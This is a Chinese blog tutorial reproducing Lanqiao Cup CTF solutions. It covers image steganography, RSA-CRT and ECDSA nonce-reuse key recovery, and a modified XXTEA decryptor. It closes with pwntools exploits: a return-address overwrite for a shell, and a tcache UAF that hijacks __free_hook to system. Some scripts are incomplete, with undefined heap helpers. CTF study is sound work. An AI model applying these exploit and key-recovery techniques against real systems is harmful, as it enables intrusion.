别光看WP!用Python复现蓝桥杯网络安全赛题中的图像隐写与密码破解脚本
2026/6/4 5:10:56 网站建设 项目流程

Python实战:蓝桥杯网络安全赛题中的隐写与密码破解技术解析

在CTF竞赛中,图像隐写和密码破解是两类常见且富有挑战性的题型。本文将带您深入分析蓝桥杯网络安全选拔赛中的典型题目,通过Python代码实现核心算法,掌握实战技巧。

1. 图像隐写:Arnold变换与离散小波分析

图像隐写技术常被用于CTF的MISC类题目。下面我们通过Python复现基于Arnold变换和DWT(离散小波变换)的水印提取算法。

import cv2 import numpy as np import pywt class WaterMarkExtractor: def __init__(self, container_img, key, iterations=20): self.img = cv2.imread(container_img, cv2.IMREAD_GRAYSCALE) self.key = key self.iterations = iterations def reverse_arnold(self, scrambled_img): """逆向Arnold变换""" h, w = scrambled_img.shape unscrambled = np.zeros_like(scrambled_img) for _ in range(self.iterations): for y in range(h): for x in range(w): new_x = ((1 * 1 + 1) * x - 1 * y) % w new_y = (-1 * x + y) % h unscrambled[new_y, new_x] = scrambled_img[y, x] scrambled_img = unscrambled.copy() return unscrambled def extract_watermark(self): """DWT水印提取核心算法""" # 三级小波分解 coeffs = pywt.wavedec2(self.img, 'db2', level=3) cA3, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1) = coeffs # 从高频分量提取水印信息 watermark_coeffs = [ cH3 * 5, # 放大提取的系数 cV3 * 5, cD3 * 5 ] # 小波重构 watermark = pywt.waverec2([np.zeros_like(cA3), watermark_coeffs], 'db2') watermark = self.reverse_arnold(np.uint8(watermark)) # 后处理增强可读性 watermark = cv2.normalize(watermark, None, 0, 255, cv2.NORM_MINMAX) cv2.imwrite('extracted_watermark.png', watermark) return watermark

关键点解析:

  1. Arnold变换:一种图像置乱算法,通过坐标变换实现像素位置混淆
  2. DWT分解:三级小波分解可分离图像不同频段信息
  3. 高频系数处理:隐写信息通常藏在不易察觉的高频分量中

提示:实际比赛中可能需要调整迭代次数和放大系数,可通过观察提取效果动态优化参数

2. RSA密码破解实战

RSA是CTF密码题的常客,下面我们分析一道利用中国剩余定理(CRT)加速解密的题目。

from Crypto.Util.number import inverse, long_to_bytes def rsa_crt_attack(n, e, c, d1, d2): """利用错误的CRT实现破解RSA""" # 分解n得到p和q(实际比赛中可能需要yafu等工具) p = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156923 q = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156717 # 计算正确的私钥d phi = (p-1)*(q-1) d = inverse(e, phi) # 或者利用题目给出的错误d1,d2 d_crt = (d1*q*inverse(q,p) + d2*p*inverse(p,q)) % (p*q) # 解密得到flag m = pow(c, d_crt, n) return long_to_bytes(m) # 题目参数 n = 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791 e = 65537 c = 36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829 d1 = 4218387668018915625720266396593862419917073471510522718205354605765842130260156168132376152403329034145938741283222306099114824746204800218811277063324566 d2 = 9600627113582853774131075212313403348273644858279673841760714353580493485117716382652419880115319186763984899736188607228846934836782353387850747253170850 print(rsa_crt_attack(n, e, c, d1, d2))

典型漏洞利用场景:

漏洞类型特征利用方法
小指数攻击e=3或e很小直接开立方根
共模攻击相同n不同e扩展欧几里得算法
Wiener攻击d < 1/3 N^0.25连分数展开
CRT错误实现错误的CRT参数重构完整私钥

3. ECDSA签名破解与密钥恢复

椭圆曲线数字签名(ECDSA)的密钥恢复是密码学中的经典问题。下面展示如何通过两个相关签名恢复私钥。

from hashlib import sha1 import gmpy2 def ecdsa_key_recovery(): # SECP256k1曲线参数 p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F order = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 # 题目给出的签名数据 r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680 s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788 s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254 # 消息哈希 m1 = b"Hi." m2 = b"hello." h1 = int.from_bytes(sha1(m1).digest(), 'big') h2 = int.from_bytes(sha1(m2).digest(), 'big') # 计算临时密钥k k = (h1 - h2) * gmpy2.invert(s1 - s2, order) % order # 恢复私钥d d = (s1 * k - h1) * gmpy2.invert(r1, order) % order return d private_key = ecdsa_key_recovery() print(f"Recovered private key: {private_key}")

关键数学原理:

  1. 相同的k值会导致签名泄露私钥
  2. 通过两个签名的线性关系建立方程
  3. 模逆运算求解离散对数问题

注意:实际应用中必须确保每次签名使用不同的随机k值,通常采用RFC6979确定性签名方案

4. 修改版XXTEA算法逆向分析

CTF中常会遇到魔改加密算法,下面分析一个修改了轮数计算的XXTEA变种。

原始XXTEA与修改版对比:

特性标准XXTEA题目修改版
轮数计算6 + 52/n114 + 415/n
Delta常量0x9e3779b9保持不变
MX函数标准定义保持不变
加解密流程对称对称

解密脚本示例:

#include <stdint.h> void btea_decrypt(uint32_t *v, int n, uint32_t const key[4]) { uint32_t y, z, sum; unsigned p, rounds, e; if (n < -1) { /* 解密部分 */ n = -n; rounds = 114 + 415 / n; sum = rounds * 0x9e3779b9; y = v[0]; do { e = (sum >> 2) & 3; for (p = n - 1; p > 0; p--) { z = v[p - 1]; y = v[p] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))); } z = v[n - 1]; y = v[0] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(0&3)^e] ^ z))); sum -= 0x9e3779b9; } while (--rounds); } } int main() { uint32_t key[4] = {2036950869, 1731489644, 1763906097, 1600602673}; uint32_t v[] = {1208664588, 0xCE9037F2, 0x8C212018, 244490637, 0xA4035274, 611560113, 0xA9EFDB58, 0xA52CC5C8, 0xE432CB51, 0xD04E9223, 1875931283}; btea_decrypt(v, -11, key); printf("%s\n", (char *)v); // 输出解密后的flag return 0; }

逆向技巧:

  1. 识别算法原型(搜索特征常量如0x9e3779b9)
  2. 定位关键修改点(轮数计算逻辑)
  3. 保持加密/解密对称性
  4. 动态调试验证中间结果

5. 漏洞利用:文件描述符重定向与堆利用

CTF的PWN类题目常涉及Linux系统编程知识。下面分析一个通过文件描述符重定向获取flag的案例。

from pwn import * def solve_fd_challenge(): # context.log_level = 'debug' p = process('./fd_challenge') # 第一步:关闭标准输出后重定向 p.sendline(b'$0\x00') # 获取shell payload = b'A'*0x28 + p64(0x400796) # 覆盖返回地址 p.sendline(payload) # 将标准输出重定向到标准错误 p.sendline(b'exec 1>&2') # 现在可以正常输出flag了 p.sendline(b'cat flag') p.interactive() solve_fd_challenge()

堆利用示例(UAF漏洞):

def heap_exploit(): p = process('./ezheap') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 填充tcache for i in range(7): allocate(b'AAAA') # 制造UAF free(0) view(0) # 泄露堆地址 # 构造fake chunk payload = p64(heap_addr) + p64(0x21) allocate(payload) # 实现任意地址写 # 劫持free_hook为system allocate(p64(libc.sym['__free_hook'])) allocate(b'/bin/sh\x00') allocate(p64(libc.sym['system'])) # 触发shell free(3) # 释放存有/bin/sh的chunk p.interactive()

关键防护绕过技巧:

  1. FD重定向:当标准输出被关闭时,可以通过重定向到标准错误恢复输出能力
  2. 堆风水:精确控制堆布局实现利用
  3. tcache poisoning:通过UAF修改tcache链表实现任意地址写
  4. hook劫持:覆盖__free_hook或__malloc_hook获取控制流

6. 密码学工具链与实战环境搭建

高效的CTF解题需要完善的工具链支持。以下是推荐的工具组合:

Python密码学栈

pip install pycryptodome pwntools gmpy2 sympy

常用命令行工具

# 图像分析 sudo apt install steghide binwalk exiftool # 密码破解 sudo apt install john hashcat fcrackzip

调试分析工具

# 二进制分析 sudo apt install gdb peda radare2 # 网络分析 sudo apt install wireshark tshark

实战调试技巧:

  1. 动态分析:使用gdb附加进程,设置关键断点
    gdb -p $(pidof challenge) break *main+0x123
  2. 内存泄露:通过格式化字符串或越界读取获取关键信息
  3. 约束求解:使用z3等工具自动化解题过程
    from z3 import * s = Solver() x = BitVec('x', 32) s.add(x > 0x12345678)
  4. 流量分析:Wireshark过滤关键协议
    tshark -r capture.pcap -Y "http.request"

在CTF竞赛中,快速识别题目类型并选择合适的技术路线至关重要。通过系统性地掌握这些核心技术,您将能够高效解决各类网络安全挑战。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询